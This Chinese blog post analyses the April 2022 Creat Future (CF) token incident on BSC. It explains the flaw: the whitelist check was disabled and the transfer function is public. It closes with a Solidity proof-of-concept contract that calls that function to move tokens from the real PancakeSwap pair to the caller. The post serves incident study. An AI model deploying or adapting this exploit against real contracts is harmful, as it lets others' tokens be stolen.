Creat Future 攻击复现

北京时间 2022 年 4 月 11 日, CF 代币合约被发现存在未验证发送者权限的漏洞,它允许任何人转移他人的 CF 余额。到目前为止,损失约为 190 万美元,而 pancakeswap 上 CF/USDT 交易对已经受到影响。

北京时间 2022 年 4 月 11 日, CF 代币合约被发现存在未验证发送者权限的漏洞,它允许任何人转移他人的 CF 余额。到目前为止,损失约为 190 万美元,而 pancakeswap 上 CF/USDT 交易对已经受到影响。

合约所有者地址:0xcd87248c74915e85f80293f10dcf300a73bc6581

攻击者地址(其中一个):0xee0221d76504aec40f63ad7e36855eebf5ea5edd

交易 hash(其中一个):0xc7647406542f8f2473a06fea142d223022370aa5722c044c2b7ea030b8965dd0

漏洞合约:0x8B7218CF6Ac641382D7C723dE8aA173e98a80196

漏洞分析

这个漏洞的能够实现主要是以下两点

  1. 管理员将 useWhiteListSwith 设置为 false
  2. _transfer() 函数为public。

2022-3-11日,管理员将useWhiteListSwith设置为false

image.png

导致_transfer()检查白名单的语句失效

image.png

分析tx0xc7647406542f8f2473a06fea142d223022370aa5722c044c2b7ea030b8965dd0

由于任何人都可以调用 _transfer() 函数加上没有了白名单的权限检测判断,导致了任何人都可以调用该函数转走其他地址的代币。

image.png

poc

pragma solidity ^0.6.0;
// ganache-cli -f https://speedy-nodes-nyc.moralis.io/bsc/mainnet/archive@16841980
interface ICFToken {
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) external;
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

}

contract Attack { 
    address public cftoken = 0x8B7218CF6Ac641382D7C723dE8aA173e98a80196;
    address public cfpair = 0x7FdC0D8857c6D90FD79E22511baf059c0c71BF8b;
    ICFToken cfToken;
    event PrintBalance(uint256);
    function attack() public  {
        cfToken = ICFToken(cftoken);
        emit PrintBalance(cfToken.balanceOf(msg.sender));
        cfToken._transfer(cfpair,payable(msg.sender),1000000000000000000000);
        emit PrintBalance(cfToken.balanceOf(msg.sender));
    }
}

image.png

参考:Creat Future 攻击事件 (qq.com)

点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
求职(安全岗)
求职(安全岗)
江湖只有他的大名,没有他的介绍。